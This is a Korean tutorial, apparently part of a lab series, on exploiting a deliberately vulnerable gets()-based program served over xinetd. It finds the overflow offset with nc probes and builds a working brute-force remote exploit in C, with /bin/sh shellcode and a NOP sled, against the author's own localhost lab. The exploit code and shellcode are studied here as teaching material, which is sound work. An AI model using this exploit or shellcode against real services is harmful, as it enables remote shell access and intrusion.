이번 WGD에선 데몬 형태로 작동하는 네트워크 프로그램에 대한 버퍼 오버플로우

공격 기법들에 대해 학습해 보도록 하겠다. 지금까지 우리는 로컬 영역에 설치된

프로그램. 즉, 우리가 쉘을 가지고 있는 상태에서 더욱 높은 권한(보통 root)

을 얻어내기 위해서 취약 프로그램을 공격해왔었다. 하지만, 이번의 설정은

우리가 Target 서버에 아무런 쉘 권한도 가지고있지 않고, 취약 프로그램이

Xinetd 혹은 독립적인 네트워크 프로그램 형태로 Target 서버의 특정 Port로

연결된 상태, 즉, 데몬으로 작동하고있다고 가정한다. 이와같은 형식으로 구성된

프로그램의 예는 우리 주위에서 쉽게 찾을 수 있다. Telnet, SSH, Apache,

Sendmail, POP 등등.. 이 프로그램들의 특징은 각각 자신의 고유한 Port 번호에

프로그램의 입출력이 연결되어 그 Port에서 들어오는 입력을 처리하고, 그에 대한 결과를 역시 같은 Port로 출력하며, 이러한 처리를 다수의 클라이언트에게 제공 하는 서버 형태의 프로그램이라는 점이다. 그럼 이러한 형태의 프로그램은 어떻게 구현 가능할까? 크게 두 가지 방법으로 나누어볼 수 있으며, 앞으로 이 두 가지 경우에 대한 공격 테스트를 진행하도록 하겠다.

◎ 네트워크 프로그램을 구현하는 두 가지 방법

1. 표준 입출력에 작동하는 일반적인 프로그램을 구현한 후, Inetd 혹은 Xinetd 데몬을 이용하여 네트워크로 연결 시킴.

2. 독립적인 네트워크 프로그램으로 구현하여 작동시킴.

이번 문서에서는 이 두 가지 경우 중 첫 번째에 대한 공격들만 다루어 보도록 할

예정이다. 그럼 먼저 1번에 해당하는 취약 프로그램을 한번 구현해보자.

======================================================

int main()

{

        char buffer[100];

        gets(buffer);

        printf("당신이 입력한 문자열 : %s\n", buffer);

}

======================================================

이 프로그램은 마치 로컬 환경을 위한 것으로 보인다. 하지만, 다음과 같은 과정을 통해 Xinet 데몬에 등록하면, Xinet 데몬에 의해 표준 입력 주체는 Xinetd 설정에 의해 지정된 Port가 되며, 표준 출력의 주체 역시 그 Port가 된다. 따라서 결국 위 프로그램이 네트워크 프로그램으로 작동하게 될 것이며, 이러한 과정은 내부적으로 디스크립터의 입출력을 변경해주는 dup() 계열의 함수에 의해 이루어진다.

◎ 프로그램을 Xinetd에 등록하는 과정.

1. 위 코드를 컴파일한다.

===========================================================

[root@ftz BOF]# gcc -o vuln vuln.c

/tmp/ccmC8XAk.o(.text+0x18): In function `main':

: the `gets' function is dangerous and should not be used.

[root@ftz BOF]#

===========================================================

친절하게도 gcc가 "gets 함수는 위험해!" 하며 주의를 준다. 하지만 우리는 gets 함수를 매우 좋아함으로 위 경고에 신경쓸 필요가 없다.

2. /etc/xinetd.d 디렉토리로 이동한 후, 다음과 같은 파일을 작성한다.

참고로 user 부분은 취약 프로그램을 실행시킬 권한을 정의하는데, root로 할 경우 내가 아닌 다른 사람에게 공격당할 경우 치명적임으로 일반 계정으로 지정해준다.

===================================================

[root@ftz xinetd.d]# cat > vuln

service vuln

{

        flags           = REUSE

        socket_type     = stream

        wait            = no

        user            = guest

        server          = /root/BOF/vuln

        disable         = no

}

[root@ftz xinetd.d]#

===================================================

3. 위에서 service 오른쪽의 단어는 Port Name을 의미한다. 하지만, vuln이라는

이름의 Port는 정의되어있지 않음으로 이를 /etc/services 파일에 추가해 준다.

[root@ftz xinetd.d]# echo "vuln 31337/tcp" >> /etc/services

4. 이제 xinetd를 재구동시키면 지금 추가한 설정이 적용되어 31337번의 TCP

포트가 오픈되고, 그곳에 접속하면 앞서 작성한 vuln 프로그램을 만날 수 있게된다.

=======================================================================

[root@ftz BOF]# /etc/rc.d/init.d/xinetd restart

xinetd 를 정지함:                                          [  확인  ]

xinetd (을)를 시작합니다:                                  [  확인  ]

[root@ftz BOF]#

=======================================================================

5. 접속 테스트

========================================================================

[root@ftz BOF]# telnet localhost 31337

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

mirable

당신이 입력한 문자열 : mirable

Connection closed by foreign host.

[root@ftz BOF]#

=======================================================================

자, 그럼 이제부터 이 취약 프로그램에 대한 다음과 같은 7가지 공격 테스트를

시도해 보겠다.

1. 무작위로 쉘코드의 위치를 찾아내는 공격 1 (정확하게 쉘코드 찾기)

공격 효율성 : ★★☆☆☆

2. 무작위로 쉘코드의 위치를 찾아내는 공격 2 (NOP을 이용하면 편하다)

공격 효율성 : ★★★☆☆

3. 무작위로 쉘코드의 위치를 찾아내는 공격 3 (더욱 많은 NOP을 넣어볼까?)

공격 효율성 : ★★★★☆

4. 버퍼의 크기가 작을 때의 리모트 공격

공격 효율성 : ★★★★☆

5. 리모트 환경에서의 Return to Library를 이용한 공격

공격 효율성 : ★★☆☆☆

6. 단 한번에 RTL을 이용한 공격 성공시키기

공격 효율성 : ★★★☆☆

7. 단 한번에 RTL을 이용한 공격 성공시키기 2

공격 효율성 : ★★★★★

그럼 먼제 1번에 해당하는 공격을 해보자. 공격 시나리오는 다음과 같다. 먼저,

과연 몇 바이트를 입력해야 segfault가 발생하는지를 파악한다. 그 다음엔 buffer변수에 주입할 쉘코드를 생성한다. 이제 실제 해당 Port에 접속하여 쉘코드를 입력하고, return address가 저장되어있는 부분을 스택의 바닥 부분인 0xc000000 에서부터 4바이트씩 감소해나간다. 공격이 성공할 때까지 계속해서 이 과정을 반복하고, 만약 공격에 성공한다면 무차별 대입 과정은 종료되고 TAREGET 서버의 쉘이 터미널에 나타날 것이다.

일단, 몇 바이트를 입력했을 때 segfault가 발생하는지부터 확인해보자.

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x100; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]#

[root@ftz BOF]# perl -e 'printf "A"x150; printf "\n"' | nc localhost 31337

[root@ftzk BOF]#

==========================================================================

150바이트를 입력하니, 아무런 응답이 없이 연결이 끊겼다. 이처럼 local 환경에서 segfault가 나는 것과는 달리 리모트에선 아무런 반응 없이 바로 연결이 끊겨버리는 것이 특징이다. 100에선 segfault가 나지 않고, 150에선 났으니 버퍼의 크기가 100과 150 사이라는 것을 추측할 수 있다.

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x130; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

점점 정확한 버퍼의 범위가 모습을 드러내고있다.

==========================================================================

[root@ftz BOF]# perl -e 'printf "A"x120; printf "\n"' | nc localhost 31337

당신이 입력한 문자열 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[root@ftz BOF]# perl -e 'printf "A"x124; printf "\n"' | nc localhost 31337

[root@ftz BOF]#

==========================================================================

정확히 124바이트에서 오버플로우가 일어났다. SFP가 변경되었을 때 역시 segfault가 난다는 사실을 감안하면, 121~124 영역은 SFP 영역이며, 125~128이 바로 RET 영역 이라고 추측해낼 수 있다. 또한, 버퍼의 크기가 120바이트로 예측되었지만, DUMMY 값이 있을 수 있음으로 실제로는 120바이트 이하가 될 가능성도 있다. (실제로는 100바이트이다.) 하지만, 우리에게 중요한 부분은 RET 영역임으로 DUMMY 값이 어떤 다른 중요한 영향을 미치지는 않는다.

그럼 이제 공격 STRING의 모습을 구성해보자.

※ 취약 프로그램의 스택

[~~~~~~~~~~총 120 바이트의 버퍼 공간~~~~~~~~~~~~~][SFP][RET][~~~~~~~~~~~~~~]

※ 공격 스트링

[~~~~쉘 코드~~~~][~~~~~~~~~쓰레기 값들~~~~~~~~~~~][SFP][RET]

↑                                                       │

└────────────────────────-───┘

        RET이 쉘 코드를 정확히 가리키도록 BRUTE FORCE

그리고 위 내용에 따라 Exploit을 구현한다. 완성된 Exploit이 아닌, 구현해 나가는 과정을 순차적으로 보이도록 하겠다.

※ BRUTE FORCE 테스트

============================

int main()

{

        int *ret;

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

============================

※ 실행 결과               

============================

[root@ftz BOF]# ./a

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

0xbfffffe4

0xbfffffe0

(ctrl+c)

[root@ftz BOF]#

============================

음.. 원하는 결과대로 잘 나오는군.. 이런 식으로 계속 모든 스택 영역을  헤치다 보면 결국엔 쉘코드의 위치를 찾아 쉘을 띄우게 될 것이다.

※ 120바이트 변수에 쉘코드를 넣자

==========================================================================

#include <stdio.h>

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()

{

        int *ret;

        char spy[128];

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                ret--;

                sleep(1);

        }

}

==========================================================================

※ 리턴 어드레스 부분(spy+124)에 ret 변수의 값을 넣자.

==========================================================================

#include <stdio.h>

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()

{

        int *ret;

        char spy[128];

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                ret--;

        }

}

==========================================================================

※ 완성된 공격 STRING이 해당 IP와 Port로 전송되도록 한다.

==========================================================================

#include <stdio.h>

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()

{

        int *ret;

        char spy[128];

        char command[300];

        memset(spy, 'A', 128);

        memcpy(spy, shellcode, strlen(shellcode));

        ret = (int *)0xc0000000;

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret--;

        }

}

==========================================================================

이것이 완성된 Exploit이다. 위 Exploit은 0xc0000000에서부터 4바이트씩 감소해

가며 쉘코드의 위치를 찾다가, 쉘코드가 발견되어 쉘이 실행된다면 id라는 문자열을

전송하여 화면에 이 명령의 결과가 출력되도록 해줄 것이다. 만약 특정 명령어가

아닌 직접 쉘을 사용하고 싶다면, 위 소스 중 printf "id\n" 부분을 삭제하면 된다.

이제 Exploit을 실행시켜 성능을 확인해보자.

==================================

[root@ftz BOF]# ./ex

0xc0000000

0xbffffffc

0xbffffff8

0xbffffff4

0xbffffff0

0xbfffffec

0xbfffffe8

... 생략 ...

0xbffffab0

0xbffffaac

0xbffffaa8

0xbffffaa4

0xbffffaa0

0xbffffa9c

uid=1000(guest) gid=1000(guest)

(공격 성공)

==================================

위와 같은 결과가 나오기까지는 약 1~2분의 시간밖에 소요되지 않는다. 약간 무식한 방법이긴 하지만 그리 비효율적인 공격 방법은 아니라는 말이다. 그리고 앞으로  공격 경험이 많아지면 버퍼의 위치가 대략 0xbffffb00 이하의 주소에 위치하게 된다는 사실도 알게 될 것임으로 Exploit을 수정하여 공격 시간을 훨씬 단축 시킬 수 있을 것이다. 또, 위 같은 BRUTE FORCE 공격 중 쉘 코드가 실행되지 않았 음에도 불구하고 터미널이 멈추는 경우가 있다. 이는 리턴 어드레스가 운 나쁘게도 while(1)과 같은 무한 루프 기계어를 만나게 되었을 경우이며, CTRL+C를 눌러 수동 으로 터미널을 빠져나오도록 해줘야한다.

다음엔 공격 확률을 높여서 쉘을 획득하는 시간을 최대한 높이는 것을 목적으로

Exploit을 수정해 나가보도록 하겠다. 먼저, 로컬에서 그랬던 것과 마찬가지로

NOP 코드를 충분히 넣어 쉘코드를 더욱 쉽게 실행할 수 있도록 유도해보자.

간단하게 다음과 같이 Exploit을 수정해 주면 될 것이다.

==========================================================================

#include <stdio.h>

char shellcode[] =

        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main()

{

        int *ret;

        char spy[128];

        char command[300];

        memset(spy, '\x90', 128);        // NOP으로 가득 채운다.

        memcpy(spy+120-strlen(shellcode), shellcode, strlen(shellcode));

                // 앞쪽의 NOP들을 유지시킨 채 변수의 끝 부분에 쉘코드가 들어간다.

        ret = (int *)0xc0000000;       

        while(1){

                printf("%p\n", ret);

                memcpy(spy+124, &ret, 4);

                sprintf(command, "(printf \"id\\n\" | (echo \"%s\\n\";cat)) | nc localhost 31337", spy);

                system(command);

                ret = ret - 20;        // 넉넉하게 80바이트씩 이동한다.

        }

}

==========================================================================

이제 설레이는 마음으로 수정된 Exploit을 실행해보자. 참고로 가장 마지막 라인인 ret - 20이 "ret 주소를 80바이트 감소"를 의미하는 이유는 ret 포인터 변수의TYPE이 4바이트에 해당하는 int이기 때문이다. 포인터의 +, - 연산은 해당 포인터 형의 바이트 수 단위에 따라 적용된다는 것을 기억하라. 또, 80바이트로 정한 이유는 SPY 변수의 쉘코드 앞쪽에 들어간 NOP 크기가 얼핏 계산하기에 80~100바이트 정도 되기 때문이다. 약 80~100바이트가 NOP임으로 그 NOP 지대의 단 한 부분만을 리턴 어드레스가 가리키기만 하면 결국 쉘코드가 실행될 것이다.